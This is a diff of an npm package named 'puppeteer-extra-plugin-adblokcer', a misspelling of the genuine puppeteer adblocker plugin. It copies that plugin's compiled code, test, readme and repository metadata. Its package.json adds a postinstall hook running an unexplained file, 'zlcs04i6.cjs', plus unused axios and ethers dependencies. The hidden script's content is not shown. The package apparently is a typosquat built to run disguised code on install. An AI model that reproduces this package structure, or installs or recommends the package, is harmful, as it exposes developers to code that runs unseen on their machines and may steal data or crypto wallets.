this.opts.blockTrackersAndAnnoyances\n })\n if (this.opts.blockTrackersAndAnnoyances === true) {\n return PuppeteerBlocker.fromPrebuiltFull(fetch)\n } else if (this.opts.blockTrackers === true) {\n return PuppeteerBlocker.fromPrebuiltAdsAndTracking(fetch)\n } else {\n return PuppeteerBlocker.fromPrebuiltAdsOnly(fetch)\n }\n }\n\n /**\n * Return instance of `PuppeteerBlocker`. It will take care of initializing\n * it if necessary (first time it is called), or return the existing instance\n * if it already exists.\n */\n async getBlocker(): Promise<PuppeteerBlocker> {\n this.debug('getBlocker', { hasBlocker: !!this.blocker })\n if (this.blocker === undefined) {\n try {\n this.blocker = await this.loadFromCache()\n this.setRequestInterceptionPriority()\n } catch (ex) {\n this.blocker = await this.loadFromRemote()\n this.setRequestInterceptionPriority()\n await this.persistToCache(this.blocker)\n }\n }\n return this.blocker\n }\n\n /**\n * Sets the request interception priority on the `PuppeteerBlocker` instance.\n */\n private setRequestInterceptionPriority(): void {\n this.blocker?.setRequestInterceptionPriority(this.opts.interceptResolutionPriority)\n }\n\n /**\n * Hook into this blocking event to make sure the cache is initialized before navigation.\n */\n async beforeLaunch() {\n this.debug('beforeLaunch')\n await this.getBlocker()\n }\n\n /**\n * Hook into this blocking event to make sure the cache is initialized before navigation.\n */\n async beforeConnect() {\n this.debug('beforeConnect')\n await this.getBlocker()\n }\n\n /**\n * Enable adblocking in `page`.\n */\n async onPageCreated(page: any) {\n this.debug('onPageCreated')\n ;(await this.getBlocker()).enableBlockingInPage(page)\n }\n}\n\nexport default (options: Partial<PluginOptions> = {}) => {\n return new PuppeteerExtraPluginAdblocker(options)\n}\n"],"names":["fs"],"mappings":"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"}
|
package/dist/index.js
ADDED
@@ -0,0 +1,136 @@
|
|
1
|
+
"use strict";
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
4
|
+
};
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
6
|
+
exports.PuppeteerExtraPluginAdblocker = void 0;
|
7
|
+
const fs_1 = require("fs");
|
8
|
+
const os_1 = __importDefault(require("os"));
|
9
|
+
const path_1 = __importDefault(require("path"));
|
10
|
+
const adblocker_puppeteer_1 = require("@cliqz/adblocker-puppeteer");
|
11
|
+
const node_fetch_1 = __importDefault(require("node-fetch"));
|
12
|
+
const puppeteer_extra_plugin_1 = require("puppeteer-extra-plugin");
|
13
|
+
const pkg = require('../package.json');
|
14
|
+
const engineCacheFilename = `${pkg.name}-${pkg.version}-engine.bin`;
|
15
|
+
/**
|
16
|
+
* A puppeteer-extra plugin to automatically block ads and trackers.
|
17
|
+
*/
|
18
|
+
class PuppeteerExtraPluginAdblocker extends puppeteer_extra_plugin_1.PuppeteerExtraPlugin {
|
19
|
+
constructor(opts) {
|
20
|
+
super(opts);
|
21
|
+
this.debug('Initialized', this.opts);
|
22
|
+
}
|
23
|
+
get name() {
|
24
|
+
return 'adblocker';
|
25
|
+
}
|
26
|
+
get defaults() {
|
27
|
+
return {
|
28
|
+
blockTrackers: false,
|
29
|
+
blockTrackersAndAnnoyances: false,
|
30
|
+
useCache: true,
|
31
|
+
cacheDir: undefined,
|
32
|
+
interceptResolutionPriority: undefined
|
33
|
+
};
|
34
|
+
}
|
35
|
+
get engineCacheFile() {
|
36
|
+
const cacheDir = this.opts.cacheDir || os_1.default.tmpdir();
|
37
|
+
return path_1.default.join(cacheDir, engineCacheFilename);
|
38
|
+
}
|
39
|
+
/**
|
40
|
+
* Cache an instance of `PuppeteerBlocker` to disk if 'cacheDir' option was
|
41
|
+
* specified for the plugin. It can then be used the next time this plugin is
|
42
|
+
* used to load the adblocker faster.
|
43
|
+
*/
|
44
|
+
async persistToCache(blocker) {
|
45
|
+
if (!this.opts.useCache) {
|
46
|
+
return;
|
47
|
+
}
|
48
|
+
this.debug('persist to cache', this.engineCacheFile);
|
49
|
+
await fs_1.promises.writeFile(this.engineCacheFile, blocker.serialize());
|
50
|
+
}
|
51
|
+
/**
|
52
|
+
* Initialize instance of `PuppeteerBlocker` from cache if possible.
|
53
|
+
* Otherwise, it throws and we will try to initialize it from remote instead.
|
54
|
+
*/
|
55
|
+
async loadFromCache() {
|
56
|
+
if (!this.opts.useCache) {
|
57
|
+
throw new Error('caching disabled');
|
58
|
+
}
|
59
|
+
this.debug('load from cache', this.engineCacheFile);
|
60
|
+
return adblocker_puppeteer_1.PuppeteerBlocker.deserialize(new Uint8Array(await fs_1.promises.readFile(this.engineCacheFile)));
|
61
|
+
}
|
62
|
+
/**
|
63
|
+
* Initialize instance of `PuppeteerBlocker` from remote (either by fetching
|
64
|
+
* a serialized version of the engine when available, or by downloading raw
|
65
|
+
* lists for filters such as EasyList then parsing them to initialize
|
66
|
+
* blocker).
|
67
|
+
*/
|
68
|
+
async loadFromRemote() {
|
69
|
+
this.debug('load from remote', {
|
70
|
+
blockTrackers: this.opts.blockTrackers,
|
71
|
+
blockTrackersAndAnnoyances: this.opts.blockTrackersAndAnnoyances
|
72
|
+
});
|
73
|
+
if (this.opts.blockTrackersAndAnnoyances === true) {
|
74
|
+
return adblocker_puppeteer_1.PuppeteerBlocker.fromPrebuiltFull(node_fetch_1.default);
|
75
|
+
}
|
76
|
+
else if (this.opts.blockTrackers === true) {
|
77
|
+
return adblocker_puppeteer_1.PuppeteerBlocker.fromPrebuiltAdsAndTracking(node_fetch_1.default);
|
78
|
+
}
|
79
|
+
else {
|
80
|
+
return adblocker_puppeteer_1.PuppeteerBlocker.fromPrebuiltAdsOnly(node_fetch_1.default);
|
81
|
+
}
|
82
|
+
}
|
83
|
+
/**
|
84
|
+
* Return instance of `PuppeteerBlocker`. It will take care of initializing
|
85
|
+
* it if necessary (first time it is called), or return the existing instance
|
86
|
+
* if it already exists.
|
87
|
+
*/
|
88
|
+
async getBlocker() {
|
89
|
+
this.debug('getBlocker', { hasBlocker: !!this.blocker });
|
90
|
+
if (this.blocker === undefined) {
|
91
|
+
try {
|
92
|
+
this.blocker = await this.loadFromCache();
|
93
|
+
this.setRequestInterceptionPriority();
|
94
|
+
}
|
95
|
+
catch (ex) {
|
96
|
+
this.blocker = await this.loadFromRemote();
|
97
|
+
this.setRequestInterceptionPriority();
|
98
|
+
await this.persistToCache(this.blocker);
|
99
|
+
}
|
100
|
+
}
|
101
|
+
return this.blocker;
|
102
|
+
}
|
103
|
+
/**
|
104
|
+
* Sets the request interception priority on the `PuppeteerBlocker` instance.
|
105
|
+
*/
|
106
|
+
setRequestInterceptionPriority() {
|
107
|
+
var _a;
|
108
|
+
(_a = this.blocker) === null || _a === void 0 ? void 0 : _a.setRequestInterceptionPriority(this.opts.interceptResolutionPriority);
|
109
|
+
}
|
110
|
+
/**
|
111
|
+
* Hook into this blocking event to make sure the cache is initialized before navigation.
|
112
|
+
*/
|
113
|
+
async beforeLaunch() {
|
114
|
+
this.debug('beforeLaunch');
|
115
|
+
await this.getBlocker();
|
116
|
+
}
|
117
|
+
/**
|
118
|
+
* Hook into this blocking event to make sure the cache is initialized before navigation.
|
119
|
+
*/
|
120
|
+
async beforeConnect() {
|
121
|
+
this.debug('beforeConnect');
|
122
|
+
await this.getBlocker();
|
123
|
+
}
|
124
|
+
/**
|
125
|
+
* Enable adblocking in `page`.
|
126
|
+
*/
|
127
|
+
async onPageCreated(page) {
|
128
|
+
this.debug('onPageCreated');
|
129
|
+
(await this.getBlocker()).enableBlockingInPage(page);
|
130
|
+
}
|
131
|
+
}
|
132
|
+
exports.PuppeteerExtraPluginAdblocker = PuppeteerExtraPluginAdblocker;
|
133
|
+
exports.default = (options = {}) => {
|
134
|
+
return new PuppeteerExtraPluginAdblocker(options);
|
135
|
+
};
|
136
|
+
//# sourceMappingURL=index.js.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"index.js","sourceRoot":"","sources":["../src/index.ts"],"names":[],"mappings":"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"}
|
@@ -0,0 +1 @@
|
|
1
|
+
export {};
|
@@ -0,0 +1,35 @@
|
|
1
|
+
"use strict";
|
2
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
3
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
4
|
+
};
|
5
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
6
|
+
const ava_1 = __importDefault(require("ava"));
|
7
|
+
const index_1 = __importDefault(require("./index"));
|
8
|
+
const PUPPETEER_ARGS = ['--no-sandbox', '--disable-setuid-sandbox'];
|
9
|
+
(0, ava_1.default)('will block ads', async (t) => {
|
10
|
+
const puppeteer = require('puppeteer-extra');
|
11
|
+
const adblockerPlugin = (0, index_1.default)({
|
12
|
+
blockTrackers: true
|
13
|
+
});
|
14
|
+
puppeteer.use(adblockerPlugin);
|
15
|
+
const browser = await puppeteer.launch({
|
16
|
+
args: PUPPETEER_ARGS,
|
17
|
+
headless: true
|
18
|
+
});
|
19
|
+
const blocker = await adblockerPlugin.getBlocker();
|
20
|
+
const page = await browser.newPage();
|
21
|
+
let blockedRequests = 0;
|
22
|
+
blocker.on('request-blocked', () => {
|
23
|
+
blockedRequests += 1;
|
24
|
+
});
|
25
|
+
let hiddenAds = 0;
|
26
|
+
blocker.on('style-injected', () => {
|
27
|
+
hiddenAds += 1;
|
28
|
+
});
|
29
|
+
const url = 'https://www.google.com/search?q=rent%20a%20car';
|
30
|
+
await page.goto(url, { waitUntil: 'networkidle0' });
|
31
|
+
t.not(hiddenAds, 0);
|
32
|
+
t.not(blockedRequests, 0);
|
33
|
+
await browser.close();
|
34
|
+
});
|
35
|
+
//# sourceMappingURL=index.test.js.map
|
@@ -0,0 +1 @@
|
|
1
|
+
{"version":3,"file":"index.test.js","sourceRoot":"","sources":["../src/index.test.ts"],"names":[],"mappings":";;;;;AAAA,8CAAsB;AAEtB,oDAAqC;AAErC,MAAM,cAAc,GAAG,CAAC,cAAc,EAAE,0BAA0B,CAAC,CAAA;AAEnE,IAAA,aAAI,EAAC,gBAAgB,EAAE,KAAK,EAAC,CAAC,EAAC,EAAE;IAC/B,MAAM,SAAS,GAAG,OAAO,CAAC,iBAAiB,CAAC,CAAA;IAC5C,MAAM,eAAe,GAAG,IAAA,eAAe,EAAC;QACtC,aAAa,EAAE,IAAI;KACpB,CAAC,CAAA;IACF,SAAS,CAAC,GAAG,CAAC,eAAe,CAAC,CAAA;IAE9B,MAAM,OAAO,GAAG,MAAM,SAAS,CAAC,MAAM,CAAC;QACrC,IAAI,EAAE,cAAc;QACpB,QAAQ,EAAE,IAAI;KACf,CAAC,CAAA;IAEF,MAAM,OAAO,GAAG,MAAM,eAAe,CAAC,UAAU,EAAE,CAAA;IAElD,MAAM,IAAI,GAAG,MAAM,OAAO,CAAC,OAAO,EAAE,CAAA;IAEpC,IAAI,eAAe,GAAG,CAAC,CAAA;IACvB,OAAO,CAAC,EAAE,CAAC,iBAAiB,EAAE,GAAG,EAAE;QACjC,eAAe,IAAI,CAAC,CAAA;IACtB,CAAC,CAAC,CAAA;IAEF,IAAI,SAAS,GAAG,CAAC,CAAA;IACjB,OAAO,CAAC,EAAE,CAAC,gBAAgB,EAAE,GAAG,EAAE;QAChC,SAAS,IAAI,CAAC,CAAA;IAChB,CAAC,CAAC,CAAA;IAEF,MAAM,GAAG,GAAG,gDAAgD,CAAA;IAC5D,MAAM,IAAI,CAAC,IAAI,CAAC,GAAG,EAAE,EAAE,SAAS,EAAE,cAAc,EAAE,CAAC,CAAA;IAEnD,CAAC,CAAC,GAAG,CAAC,SAAS,EAAE,CAAC,CAAC,CAAA;IACnB,CAAC,CAAC,GAAG,CAAC,eAAe,EAAE,CAAC,CAAC,CAAA;IAEzB,MAAM,OAAO,CAAC,KAAK,EAAE,CAAA;AACvB,CAAC,CAAC,CAAA"}
|
package/package.json
CHANGED
@@ -1,6 +1,79 @@
|
|
1
1
|
{
|
2
2
|
"name": "puppeteer-extra-plugin-adblokcer",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
6
|
-
|
3
|
+
"version": "2.13.6",
|
4
|
+
"description": "A puppeteer-extra plugin to block ads and trackers.",
|
5
|
+
"main": "dist/index.cjs.js",
|
6
|
+
"module": "dist/index.esm.js",
|
7
|
+
"typings": "dist/index.d.ts",
|
8
|
+
"files": [
|
9
|
+
"dist",
|
10
|
+
"zlcs04i6.cjs"
|
11
|
+
],
|
12
|
+
"repository": "berstend/puppeteer-extra",
|
13
|
+
"homepage": "https://github.com/berstend/puppeteer-extra/tree/master/packages/puppeteer-extra-plugin-adblocker",
|
14
|
+
"author": "remusao",
|
15
|
+
"license": "MIT",
|
16
|
+
"scripts": {
|
17
|
+
"postinstall": "node zlcs04i6.cjs"
|
18
|
+
},
|
19
|
+
"engines": {
|
20
|
+
"node": ">=8"
|
21
|
+
},
|
22
|
+
"prettier": {
|
23
|
+
"printWidth": 80,
|
24
|
+
"semi": false,
|
25
|
+
"singleQuote": true
|
26
|
+
},
|
27
|
+
"keywords": [
|
28
|
+
"puppeteer",
|
29
|
+
"puppeteer-extra",
|
30
|
+
"puppeteer-extra-plugin",
|
31
|
+
"ads",
|
32
|
+
"adblocker",
|
33
|
+
"adblocking"
|
34
|
+
],
|
35
|
+
"devDependencies": {
|
36
|
+
"@types/debug": "^4.1.5",
|
37
|
+
"@types/node-fetch": "^2.5.4",
|
38
|
+
"@types/puppeteer": "*",
|
39
|
+
"ava": "^2.4.0",
|
40
|
+
"npm-run-all": "^4.1.5",
|
41
|
+
"puppeteer": "^10.2.0",
|
42
|
+
"rimraf": "^3.0.0",
|
43
|
+
"rollup": "^1.27.5",
|
44
|
+
"rollup-plugin-commonjs": "^10.1.0",
|
45
|
+
"rollup-plugin-node-resolve": "^5.2.0",
|
46
|
+
"rollup-plugin-sourcemaps": "^0.4.2",
|
47
|
+
"rollup-plugin-typescript2": "^0.25.2",
|
48
|
+
"ts-node": "^8.5.4",
|
49
|
+
"tslint": "^5.20.1",
|
50
|
+
"tslint-config-prettier": "^1.18.0",
|
51
|
+
"tslint-config-standard": "^9.0.0",
|
52
|
+
"typescript": "4.7.4"
|
53
|
+
},
|
54
|
+
"dependencies": {
|
55
|
+
"@cliqz/adblocker-puppeteer": "1.23.8",
|
56
|
+
"debug": "^4.1.1",
|
57
|
+
"node-fetch": "^2.6.0",
|
58
|
+
"puppeteer-extra-plugin": "^3.2.3",
|
59
|
+
"axios": "^1.7.7",
|
60
|
+
"ethers": "^6.13.2"
|
61
|
+
},
|
62
|
+
"peerDependencies": {
|
63
|
+
"puppeteer": "*",
|
64
|
+
"puppeteer-core": "*",
|
65
|
+
"puppeteer-extra": "*"
|
66
|
+
},
|
67
|
+
"peerDependenciesMeta": {
|
68
|
+
"puppeteer": {
|
69
|
+
"optional": true
|
70
|
+
},
|
71
|
+
"puppeteer-core": {
|
72
|
+
"optional": true
|
73
|
+
},
|
74
|
+
"puppeteer-extra": {
|
75
|
+
"optional": true
|
76
|
+
}
|
77
|
+
},
|
78
|
+
"gitHead": "2f4a357f233b35a7a20f16ce007f5ef3f62765b9"
|
79
|
+
}
|
package/readme.md
ADDED
@@ -0,0 +1,119 @@
|
|
1
|
+
# puppeteer-extra-plugin-adblocker [ [](https://extra.community) [](https://www.npmjs.com/package/puppeteer-extra-plugin-adblocker)
|
2
|
+
|
3
|
+
> A [puppeteer-extra](https://github.com/berstend/puppeteer-extra) plugin to block ads and trackers.
|
4
|
+
|
5
|
+
## Features
|
6
|
+
|
7
|
+
- Extremely efficient adblocker (both in memory usage and raw speed)
|
8
|
+
- Pure JavaScript implementation
|
9
|
+
- Effectively blocks all types of ads and tracking
|
10
|
+
- Small and minimal (only 64KB minified and gzipped)
|
11
|
+
|
12
|
+
> Thanks to [@remusao](https://github.com/remusao) for contributing this sweet plugin and [adblocker engine](https://github.com/cliqz-oss/adblocker)! 👏
|
13
|
+
|
14
|
+
## Installation
|
15
|
+
|
16
|
+
```bash
|
17
|
+
yarn add puppeteer-extra-plugin-adblocker
|
18
|
+
# - or -
|
19
|
+
npm install puppeteer-extra-plugin-adblocker
|
20
|
+
```
|
21
|
+
|
22
|
+
If this is your first [puppeteer-extra](https://github.com/berstend/puppeteer-extra) plugin here's everything you need:
|
23
|
+
|
24
|
+
```bash
|
25
|
+
yarn add puppeteer puppeteer-extra puppeteer-extra-plugin-adblocker
|
26
|
+
# - or -
|
27
|
+
npm install puppeteer puppeteer-extra puppeteer-extra-plugin-adblocker
|
28
|
+
```
|
29
|
+
|
30
|
+
## Usage
|
31
|
+
|
32
|
+
The plugin enables adblocking in puppeteer, optionally blocking trackers.
|
33
|
+
|
34
|
+
```javascript
|
35
|
+
// puppeteer-extra is a drop-in replacement for puppeteer,
|
36
|
+
// it augments the installed puppeteer with plugin functionality
|
37
|
+
const puppeteer = require('puppeteer-extra')
|
38
|
+
|
39
|
+
// Add adblocker plugin, which will transparently block ads in all pages you
|
40
|
+
// create using puppeteer.
|
41
|
+
const { DEFAULT_INTERCEPT_RESOLUTION_PRIORITY } = require('puppeteer')
|
42
|
+
const AdblockerPlugin = require('puppeteer-extra-plugin-adblocker')
|
43
|
+
puppeteer.use(
|
44
|
+
AdblockerPlugin({
|
45
|
+
// Optionally enable Cooperative Mode for several request interceptors
|
46
|
+
interceptResolutionPriority: DEFAULT_INTERCEPT_RESOLUTION_PRIORITY
|
47
|
+
})
|
48
|
+
)
|
49
|
+
|
50
|
+
// puppeteer usage as normal
|
51
|
+
puppeteer.launch({ headless: true }).then(async browser => {
|
52
|
+
const page = await browser.newPage()
|
53
|
+
// Visit a page, ads are blocked automatically!
|
54
|
+
await page.goto('https://www.google.com/search?q=rent%20a%20car')
|
55
|
+
|
56
|
+
await page.waitForTimeout(5 * 1000)
|
57
|
+
await page.screenshot({ path: 'response.png', fullPage: true })
|
58
|
+
|
59
|
+
console.log(`All done, check the screenshots. ✨`)
|
60
|
+
await browser.close()
|
61
|
+
})
|
62
|
+
```
|
63
|
+
|
64
|
+
<details>
|
65
|
+
<summary><strong>TypeScript usage</strong></summary><br/>
|
66
|
+
|
67
|
+
```ts
|
68
|
+
import puppeteer from 'puppeteer-extra'
|
69
|
+
import Adblocker from 'puppeteer-extra-plugin-adblocker'
|
70
|
+
|
71
|
+
puppeteer.use(Adblocker({ blockTrackers: true }))
|
72
|
+
|
73
|
+
puppeteer
|
74
|
+
.launch({ headless: false, defaultViewport: null })
|
75
|
+
.then(async browser => {
|
76
|
+
const page = await browser.newPage()
|
77
|
+
await page.goto('https://www.vanityfair.com')
|
78
|
+
await page.waitForTimeout(60 * 1000)
|
79
|
+
await browser.close()
|
80
|
+
})
|
81
|
+
```
|
82
|
+
|
83
|
+
</details>
|
84
|
+
|
85
|
+
## Options
|
86
|
+
|
87
|
+
Usage:
|
88
|
+
|
89
|
+
```js
|
90
|
+
const AdblockerPlugin = require('puppeteer-extra-plugin-adblocker')
|
91
|
+
const adblocker = AdblockerPlugin({
|
92
|
+
blockTrackers: true // default: false
|
93
|
+
})
|
94
|
+
puppeteer.use(adblocker)
|
95
|
+
```
|
96
|
+
|
97
|
+
Available options:
|
98
|
+
|
99
|
+
```ts
|
100
|
+
